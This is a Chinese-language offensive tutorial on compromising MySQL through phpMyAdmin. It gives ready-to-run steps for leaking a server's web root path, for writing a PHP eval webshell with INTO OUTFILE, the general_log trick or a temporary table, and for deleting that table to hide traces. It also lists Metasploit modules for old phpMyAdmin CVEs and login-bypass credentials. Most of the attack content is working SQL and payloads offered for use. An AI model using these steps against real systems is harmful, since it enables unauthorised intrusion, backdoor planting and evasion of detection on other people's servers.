本文為這個大佬創作:https://www.bugfor.com/web/2822.html。
phpMyadmin是一個以PHP為基礎的MySQL數據庫管理工具,使網站管理員可通過Web接口管理數據庫。
phpMyadmin簡介
phpMyadmin是一個以PHP為基礎的MySQL數據庫管理工具,使網站管理員可通過Web接口管理數據庫。
信息收集
此部分主要需要收集的是網站物理路徑,否則后續無法通過URL連接Shell
物理路徑
-
查詢數據庫存儲路徑來推測網站物理路徑,也可以通過log變量得到
select @@datadir;

-
配置文件爆路徑:如果注入點有文件讀取權限,可通過load_file嘗試讀取配置文件
# Windows
c:windowsphp.ini # php配置文件
c:windowssystem32inetsrvMetaBase.xml # IIS虛擬主機配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置文件
-
單引號爆路徑:直接在URL后面加單引號。要求單引號沒有被過濾(gpc=off)且服務器默認返回錯誤信息。www.abc.com/index.php?id=1'
-
錯誤參數值爆路徑:嘗試將要提交的參數值改成錯誤值。www.abc.com/index.php?id=-1
-
Nginx文件類型錯誤解析爆路徑:要求Web服務器是Nginx,且存在文件類型解析漏洞。在圖片地址后添加/x.php,該圖片不但會被當作php文件執行,還有可能爆出物理路徑。www.abc.com/bg.jpg/x.php
-
Google爆路徑
site:xxx.com warning
site:xxx.com "fatal error"
-
測試文件爆路徑
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
-
其它
phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
其它信息
-
phpMyadmin后台面板可以直接看到MySQL版本、當前用戶、操作系統、PHP版本、phpMyadmin版本等信息
-
也可以通過SQL查詢得到其它信息
select version(); -- 查看數據庫版本
select @@datadir; -- 查看數據庫存儲路徑
show VARIABLES like '%char%'; -- 查看系統變量
GetShell
前提條件
-
網站真實路徑。如果不知道網站真實路徑則后續無法通過URL的方式連shell
-
讀寫權限。查詢secure_file_priv參數,查看是否具有讀寫文件權限,若為NULL則沒有辦法寫入shell。這個值是只讀變量,只能通過配置文件修改,且更改后需重啟服務才生效
select @@secure_file_priv -- 查詢secure_file_priv
-- secure_file_priv=NULL,禁止導入導出
-- secure_file_priv='',不限制導入導出
-- secure_file_priv=/path/,只能向指定目錄導入導出
select load_file('c:/phpinfo.php'); -- 讀取文件
select '123' into outfile 'c:/shell.php'; -- 寫入文件
常規GetShell
直接通過SQL查詢寫入shell
-- 假設物理路徑為 "G:phpStudyWWW"
select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';
日志GetShell
MySQL5.0版本以上會創建日志文件,通過修改日志的全局變量打開日志並指定日志保存路徑,再通過查詢寫入一句話木馬,此時該木馬會被日志記錄並生成日志文件,從而GetShell。但是前提是要對生成的日志文件有讀寫權限。
-
查詢日志全局變量
-
general_log:日志保存狀態
-
general_log_file:日志保存路徑
-
show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file G:phpStudyMySQLdataFengSec.log
-
開啟日志保存並配置保存路徑
set global general_log = "ON"; -- 打開日志保存
set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 設置日志保存路徑,需先得知網站物理路徑,否則即使寫入了Shell也無法通過URL連接
-
寫shell
select '<?php eval($_POST[pwd]); ?>';
新表GetShell
-
進入一個數據庫,新建數據表。
-
名字隨意,這里為shell_table
-
字段數填1
-

-
添加字段
-
字段名任意,這里為xiaoma
-
字段類型為TEXT
-

-
在該表中點擊插入,值為一句話木馬
<?php eval($_POST[pwd]); ?>'

-
執行SQL查詢,將該表中的內容導出到指定文件
-- 假設物理路徑為 "G:phpStudyWWW"
select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

-
刪除該表,抹除痕跡
Drop TABLE IF EXISTS shell_table;
-
以上步驟也可以通過MySQL語句執行
Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 寫入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 導出
Drop TABLE IF EXISTS shell_table; -- 刪表
特殊版本GetShell
CVE-2013-3238
-
影響版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
-
利用模塊:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
-
影響版本:phpMyAdmin v3.5.2.2
-
利用模塊:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令執行
-
影響版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
-
利用模塊:exploit/unix/webapp/phpmyadmin_config
弱口令&萬能密碼
-
弱口令:版本phpmyadmin2.11.9.2,直接root用戶登陸,無需密碼
-
萬能密碼:版本2.11.3 / 2.11.4,用戶名'localhost'@'@"則登錄成功
